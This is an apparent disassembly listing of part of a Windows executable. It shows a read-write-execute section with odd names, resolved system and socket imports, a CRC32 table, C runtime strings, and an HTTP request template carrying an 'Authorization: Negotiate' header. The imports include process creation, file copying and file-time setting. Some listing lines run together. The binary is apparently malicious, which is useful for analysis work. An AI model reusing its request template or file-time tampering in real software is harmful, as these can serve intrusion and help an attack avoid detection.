		lea	ecx, [ebp+14h]
		jmp	loc_403157
; ---------------------------------------------------------------------------


loc_41E634:				; DATA XREF: zugr1819:0041FEACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_403157
; ---------------------------------------------------------------------------


loc_41E63C:				; DATA XREF: sub_402E8Do
		mov	eax, offset dword_41FE80
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4


loc_41E648:				; DATA XREF: sub_40343Ao
		mov	eax, offset dword_41FEB0
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_403157
; ---------------------------------------------------------------------------


loc_41E65C:				; DATA XREF: sub_41E0D0o
		mov	eax, offset dword_41FF88
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_41E56F
; ---------------------------------------------------------------------------


loc_41E670:				; DATA XREF: sub_41E12Ao
		mov	eax, offset dword_41FFB0
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41E56F
; ---------------------------------------------------------------------------


loc_41E684:				; DATA XREF: sub_41E1B8o
		mov	eax, offset dword_41FFF8
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_41E56F
; ---------------------------------------------------------------------------


loc_41E698:				; DATA XREF: sub_41E211o
		mov	eax, offset dword_420020
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41E56F
; ---------------------------------------------------------------------------


loc_41E6AC:				; DATA XREF: sub_41E26Eo
		mov	eax, offset dword_420048
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_403157
; ---------------------------------------------------------------------------


loc_41E6C0:				; DATA XREF: sub_41E2FCo
		mov	eax, offset dword_4200B0
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_41E56F
; ---------------------------------------------------------------------------


loc_41E6D4:				; DATA XREF: sub_41E356o
		mov	eax, offset dword_4200D8
		jmp	loc_414257
; ---------------------------------------------------------------------------
		align 1000h
_text		ends

; Section 2. (virtual address 0001F000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 0001F000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
zugr1819	segment	para public 'CODE' use32
		assume cs:zugr1819
		;org 41F000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
off_41F000	dd offset sub_745C55	; DATA XREF: sub_4093C1+1CFr
					; sub_752957-7C39w ...
off_41F004	dd offset sub_74CF77	; DATA XREF: sub_41DDE5+173r
					; sub_74CF82:loc_749385w ...
off_41F008	dd offset sub_749FE3	; DATA XREF: sub_41DB68+3Er
					; sub_41DB68+261r ...
off_41F00C	dd offset sub_752AED	; DATA XREF: sub_41DB68+5Br
					; sub_41DB68+B9r ...
off_41F010	dd offset sub_74B305	; DATA XREF: sub_41D663+F9r
					; _0z4jwtox:00753721r
off_41F014	dd offset sub_745644	; DATA XREF: sub_41C6BF+2Cr
					; _0z4jwtox:00748EA3r ...
off_41F018	dd offset sub_745A63	; DATA XREF: sub_41C591:loc_41C5E1r
					; sub_41C608:loc_41C65Br ...
off_41F01C	dd offset sub_74A7BD	; DATA XREF: sub_41BDE7+8r
					; _0z4jwtox:0074DC9Ar
off_41F020	dd offset sub_74724C	; DATA XREF: sub_41BDAF+Cr
					; _0z4jwtox:0075077Fr ...
dword_41F024	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_41BDA2+6r ...
dword_41F028	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_41B513+12Dr ...
off_41F02C	dd offset sub_7535E0	; DATA XREF: sub_41B513+59r
					; sub_41B513+8Dr ...
dword_41F030	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_41AF6F+166r ...
dword_41F034	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_41B235+143r ...
dword_41F038	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCount					; sub_746D27+5w ...
dword_41F03C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsW					; _0z4jwtox:007482EAr ...
off_41F040	dd offset sub_74DBEB	; DATA XREF: sub_401000+AAr
					; sub_401447+96r ...
dword_41F044	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_401447+1A7r ...
off_41F048	dd offset sub_74AD4C	; DATA XREF: sub_4010B2+18Cr
					; sub_4010B2+2D4r ...
off_41F04C	dd offset sub_748BA3	; DATA XREF: sub_4010B2+182r
					; sub_4018CB+FFr ...
dword_41F050	dd 7C802442h	; resolved to->KERNEL32.Sleep					; .text:0040391Cr ...
dword_41F054	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_403C2B+2A8r ...
dword_41F058	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_403C2B+49Ar ...
dword_41F05C	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_404ECE+1C4r ...
dword_41F060	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_406059+58r ...
off_41F064	dd offset sub_756F0D	; DATA XREF: sub_404D4C+9Fr
					; sub_4093C1+1B6r ...
off_41F068	dd offset sub_7459B2	; DATA XREF: sub_404D4C+8Br
					; sub_4093C1+19Fr ...
off_41F06C	dd offset sub_74D23E	; DATA XREF: sub_404ECE+282r
					; sub_406059:loc_406195r ...
off_41F070	dd offset sub_74ED5F	; DATA XREF: sub_404ECE+24Dr
					; sub_406059+10Er ...
off_41F074	dd offset sub_752FBA	; DATA XREF: sub_404ECE+1EEr
					; sub_405815+38r ...
dword_41F078	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_408701+10Fr ...
off_41F07C	dd offset sub_748743	; DATA XREF: sub_40517E+5FDr
					; _0z4jwtox:0074D5F9w ...
off_41F080	dd offset sub_74D60D	; DATA XREF: sub_40517E+27Br
					; _0z4jwtox:00749151r
off_41F084	dd offset sub_745D03	; DATA XREF: sub_40517E+26Dr
					; _0z4jwtox:00745814w ...
off_41F088	dd offset sub_745828	; DATA XREF: sub_40517E+20Dr
					; sub_40517E+5ECr ...
off_41F08C	dd offset sub_74962E	; DATA XREF: sub_40517E+1FCr
					; _0z4jwtox:0074CFA1w ...
off_41F090	dd offset sub_74C51C	; DATA XREF: sub_405815+80r
					; sub_408F94+BFr ...
off_41F094	dd offset sub_75695A	; DATA XREF: sub_405815+6Cr
					; sub_409DBE+259r ...
off_41F098	dd offset sub_75312E	; DATA XREF: sub_40656E+13Fr
					; _0z4jwtox:0074D3EEw ...
off_41F09C	dd offset sub_750219	; DATA XREF: sub_40656E+D4r
					; sub_750219+5r ...
off_41F0A0	dd offset sub_7561AB	; DATA XREF: sub_406782+77r
					; _0z4jwtox:0074B065w ...
off_41F0A4	dd offset sub_74B079	; DATA XREF: sub_406782+6Br
					; sub_406782+22Fr ...
off_41F0A8	dd offset sub_747AEC	; DATA XREF: sub_4073B6+13Ar
					; sub_4073B6:loc_40784Cr ...
off_41F0AC	dd offset sub_74AAC1	; DATA XREF: sub_4073B6+11r
					; sub_417D6B+15r ...
dword_41F0B0	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_408701+FBr ...
off_41F0B4	dd offset sub_750705	; DATA XREF: sub_4084F4+2Dr
					; sub_750715-841w ...
off_41F0B8	dd offset sub_756AA2	; DATA XREF: sub_40857E+26r
					; _0z4jwtox:007504DDw ...
off_41F0BC	dd offset sub_7504F1	; DATA XREF: sub_40857E+1Dr
					; _0z4jwtox:0074D617r ...
off_41F0C0	dd offset sub_7569C5	; DATA XREF: sub_4085B9+69r
					; sub_746DD8-1BA0w ...
off_41F0C4	dd offset sub_7528EA	; DATA XREF: sub_4085B9+36r
					; _0z4jwtox:00745258w ...
off_41F0C8	dd offset sub_74623E	; DATA XREF: sub_4085B9+25r
					; sub_74623E+5r ...
dword_41F0CC	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTime					; _0z4jwtox:0074F29Fr ...
dword_41F0D0	dd 7C831C45h	; resolved to->KERNEL32.GetFileTime					; _0z4jwtox:007461D5r ...
dword_41F0D4	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_408889+B4r ...
off_41F0D8	dd offset sub_752B0C	; DATA XREF: sub_408701+15Dr
					; sub_7465EE+9r ...
dword_41F0DC	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_40C2D0+1C2r ...
off_41F0E0	dd offset sub_745425	; DATA XREF: sub_408701+35r
					; sub_40CC09+391Br ...
off_41F0E4	dd offset sub_74B01A	; DATA XREF: sub_408F94+5Ar
					; sub_748CFC+4w ...
off_41F0E8	dd offset sub_756327	; DATA XREF: sub_408F94+3Dr
					; _0z4jwtox:00751382r
off_41F0EC	dd offset sub_74A7D8	; DATA XREF: sub_4090ED+91r
					; sub_74C39F+9r ...
off_41F0F0	dd offset sub_752C39	; DATA XREF: sub_4090ED+79r
					; sub_41234D+Cr ...
off_41F0F4	dd offset sub_757191	; DATA XREF: sub_4090ED+3Br
					; _0z4jwtox:0074A536w ...
off_41F0F8	dd offset sub_74A54A	; DATA XREF: sub_4093C1+24r
					; .text:0041292Br ...
dword_41F0FC	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_40A160+3Ar ...
off_41F100	dd offset sub_746C5E	; DATA XREF: sub_409833+Dr
					; sub_414D55+Dr
off_41F104	dd offset sub_748C98	; DATA XREF: sub_40A3AD+4C0r
					; sub_40ACAF+DFr ...
off_41F108	dd offset sub_74AC58	; DATA XREF: sub_40ADCF+2B3r
					; sub_74AC58+5r ...
dword_41F10C	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_419FC4+20Dr ...
dword_41F110	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_414A03+54r ...
off_41F114	dd offset sub_750B5C	; DATA XREF: sub_40C212+34r
					; .text:00412820r ...
off_41F118	dd offset sub_75675B	; DATA XREF: sub_40C2D0+348r
					; sub_40CC09+4286r ...
dword_41F11C	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_4123B8+B9r ...
dword_41F120	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessId					; sub_745978+9r
dword_41F124	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA					; _0z4jwtox:0074868Br ...
dword_41F128	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_40C2D0+31Er ...
dword_41F12C	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexA					; _0z4jwtox:0074DDCFw ...
off_41F130	dd offset sub_74D21E	; DATA XREF: sub_40CC09+44DCr
					; sub_4133F9+2Br ...
off_41F134	dd offset sub_75038B	; DATA XREF: sub_40CC09+37E5r
					; _0z4jwtox:00750306w ...
off_41F138	dd offset sub_74946E	; DATA XREF: sub_4123B8+113r
					; sub_4123B8+21Br ...
off_41F13C	dd offset sub_752DB5	; DATA XREF: sub_4123B8+DEr
					; sub_752DB5+5r
off_41F140	dd offset sub_749010	; DATA XREF: .text:004128B7r
					; sub_7490FC+9r ...
dword_41F144	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_4157BF+AFr ...
dword_41F148	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_4169A4+2C4r ...
off_41F14C	dd offset sub_74CF0C	; DATA XREF: sub_41E42Er
					; sub_754A60:loc_7542BFw ...
off_41F150	dd offset sub_7458BE	; DATA XREF: sub_414D55+6Cr
					; sub_41BFB2+38r ...
off_41F154	dd offset sub_74E762	; DATA XREF: sub_414D55+17r
off_41F158	dd offset sub_747C0C	; DATA XREF: sub_4157BF+F0r
					; sub_416FD8+28r ...
off_41F15C	dd offset sub_75247E	; DATA XREF: .text:00415EB0r
					; sub_41AF6F+59r
off_41F160	dd offset sub_756496	; DATA XREF: .text:00415E85r
dword_41F164	dd 7C8111DAh	; resolved to->KERNEL32.GetVersion					; sub_74F660+4w ...
off_41F168	dd offset sub_74F678	; DATA XREF: sub_4168FF+2Fr
					; sub_74F678+5r
dword_41F16C	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreate					; _0z4jwtox:007480AFr ...
off_41F170	dd offset sub_7451EF	; DATA XREF: sub_4169A4+23Fr
					; sub_7491FD+23E0w ...
dword_41F174	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_417089+51r ...
off_41F178	dd offset sub_74727B	; DATA XREF: sub_41BDCB+Cr
					; sub_74727B+5r ...
off_41F17C	dd offset sub_7476F4	; DATA XREF: sub_417565+215r
					; sub_41E5C3+2Er ...
off_41F180	dd offset sub_750286	; DATA XREF: sub_418AC8+21r
					; sub_750286+5r ...
off_41F184	dd offset sub_7485D5	; DATA XREF: sub_419FC4+5Er
					; sub_419FC4+A7r ...
dword_41F188	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_419FC4+14Dr ...
dword_41F18C	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_41A452+14r ...
dword_41F190	dd 7C809915h	; resolved to->KERNEL32.GetACP					; _0z4jwtox:0074B3DBr ...
off_41F194	dd offset loc_75621B	; DATA XREF: sub_41A3AC+1Ar
					; sub_41A3AC+33BE74r ...
off_41F198	dd offset sub_7497C9	; DATA XREF: sub_41A95B+138r
					; _0z4jwtox:0074977Fr ...
off_41F19C	dd offset sub_74BD16	; DATA XREF: sub_41AE3D+11Fr
					; sub_74BD16+5r ...
dword_41F1A0	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsW					; _0z4jwtox:007493F8r ...
off_41F1A4	dd offset sub_74952C	; DATA XREF: sub_41AE3D:loc_41AE6Cr
					; sub_41AE3D+E1r ...
		dd 0
dword_41F1AC	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_404857+8Er
dword_41F1B0	dd 71AB3E00h	; resolved to->WS2_32.binddword_41F1B4	dd 71AB88D3h	; resolved to->WS2_32.listendword_41F1B8	dd 71AC1028h	; resolved to->WS2_32.acceptdword_41F1BC	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_4041D7+47r ...
dword_41F1C0	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_4047DA+35r
dword_41F1C4	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4039C9+35r ...
dword_41F1C8	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_4041D7+8Dr
dword_41F1CC	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4039C9+6Dr ...
dword_41F1D0	dd 71AB428Ah	; resolved to->WS2_32.send					; .text:0040362Cr ...
dword_41F1D4	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_4041D7+115r
dword_41F1D8	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_41F1DC	dd 71AB3B91h	; resolved to->WS2_32.socket					; .text:004035A9r ...
dword_41F1E0	dd 71AB4519h	; resolved to->WS2_32.ioctlsocketdword_41F1E4	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_4039C9+5Cr ...
dword_41F1E8	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_4039C9+EEr ...
		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402E8D+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_41F230	dq 1.388888888888889e-2	; DATA XREF: sub_402C9F+2Fr
dbl_41F238	dq 1.666666666666667e-1	; DATA XREF: sub_402C9F+15r
dword_41F240	dd 0FFFFFFFFh						; sub_40315Fr ...
		align 8
dbl_41F248	dq 1.333333333333333	; DATA XREF: sub_402CEB+79r
dword_41F250	dd 0							; sub_40320F+5Bo ...
dword_41F254	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 0
dbl_41F658	dq 9.765625e-4		; DATA XREF: sub_40A3AD+2F0r
					; sub_40A3AD+30Br ...
dbl_41F660	dq -3.0517578125e-5	; DATA XREF: sub_41271C+1Er
dbl_41F668	dq 1.0			; DATA XREF: sub_413FAE+6Cr
					; sub_4140F7+6Cr ...
dword_41F670	dd 0FFFFFFFFh, 415EE8h,	415EFChbyte_41F67C	db 6			; DATA XREF: sub_416065:loc_4160BCr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
off_41F6D8	dd offset dword_6E0028	; DATA XREF: .data:off_4377ACo
		dd offset byte_6C0075
		unicode	0, <l)>,0
		align 4
aNull		db '(null)',0           ; DATA XREF: .data:off_4377A8o
		align 10h
		dd offset byte_6E795F
		dd 31795Fh, 30795Fh, 78657266h,	70h, 646F6D66h,	0
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
		dd offset dword_6E6174
		dd offset byte_736F63
		dd offset byte_6E6973
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
		dd offset dword_676F6C
		dd offset dword_776F70
off_41F7A0	dd offset byte_707865	; DATA XREF: .data:off_4379D4o
		align 8
dbl_41F7A8	dq 0.0			; DATA XREF: sub_417818+8Cr
					; sub_417818+ACr ...
dbl_41F7B0	dq 4.195835e6		; DATA XREF: sub_417D2D+Fr
dbl_41F7B8	dq 3.145727e6		; DATA XREF: sub_417D2D+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_417D6B+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_417D6Bo
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_417E92+93o
		align 10h
dword_41F7F0	dd 0FFFFFFFFh, 41857Dh,	418587h, 0dword_41F800	dd 0FFFFFFFFh, 0		dd offset loc_418703
		align 10h
		dd offset sub_4186E1
		dd offset sub_4186EB
dword_41F818	dd 0FFFFFFFFh, 418933h,	418937h, 0dword_41F828	dd 0FFFFFFFFh, 418995h,	41899Eh, 0dword_41F838	dd 0FFFFFFFFh, 0		dd offset loc_418A6D
		align 8
		dd offset loc_418A59
		dd offset loc_418A5D
dword_41F850	dd 0FFFFFFFFh, 0; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 8Ah,	41h, 0
		align 10h
		dd offset loc_418AAF
		dd offset loc_418AB3
dword_41F868	dd 2 dup(0)						; sub_41B513+39o ...
dword_41F870	dd 0FFFFFFFFh, 41A0D4h,	41A0D8h, 0FFFFFFFFh, 41A188h, 41A18Ch
					; DATA XREF: sub_419FC4+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_437E1Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41B235+119o
		align 4
asc_41FB38	db 0Ah			; DATA XREF: sub_41B235+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41B235+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41B235+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41B235+7Do
		align 8
dword_41FB78	dd 0FFFFFFFFh, 41B60Ch,	41B610haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41BFB2+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41CA11+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41CA11+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41CA11+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41D1E1:loc_41D2D6o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_41D1E1+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_41D1E1+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41D1E1+ADo
		align 4
dword_41FC18	dd 0FFFFFFFFh, 41DD1Fh,	41DD23h, 0FFFFFFFFh, 41DD8Eh, 41DD92h
					; DATA XREF: sub_41DB68+5o
		dd 41FD38h
off_41FC34	dd offset loc_41E2C8	; DATA XREF: sub_41E0D0+4Do
					; sub_41E2E4+Co
		dd offset sub_41E18E
		dd offset sub_41E2AB
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41E0D0+1Eo
		dd offset dword_41FD70
off_41FC54	dd offset loc_41E1F5	; DATA XREF: sub_41E12A+4Eo
					; sub_41E1B8+11o ...
		dd offset sub_41E18E
		dd offset sub_41E19B
		dd offset dword_41FDC0
off_41FC64	dd offset loc_41E3B0	; DATA XREF: sub_41E2FC+4Do
					; sub_41E3CC+Co
		dd offset sub_41E18E
		dd offset sub_41E393
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41E2FC+1Eo
		dd offset dword_41FDF0
off_41FC8C	dd offset sub_41E4CC	; DATA XREF: sub_41E4E8+8o
					; sub_41E525+8o ...
		dd offset sub_41E585
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_41E585+7o
		align 4
		dd offset dword_41FE38
off_41FCAC	dd offset loc_41E5A7	; DATA XREF: sub_41E592o
					; .data:off_438540o ...
dword_41FCB0	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_41FCD0	dd offset off_438540	; DATA XREF: zugr1819:0041FD20o
					; zugr1819:0041FD54o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_41FCE8	dd offset off_438558	; DATA XREF: zugr1819:0041FD1Co
					; zugr1819:0041FD50o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_41FD00	dd offset off_438578	; DATA XREF: zugr1819:0041FD18o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41FD00
		dd offset off_41FCE8
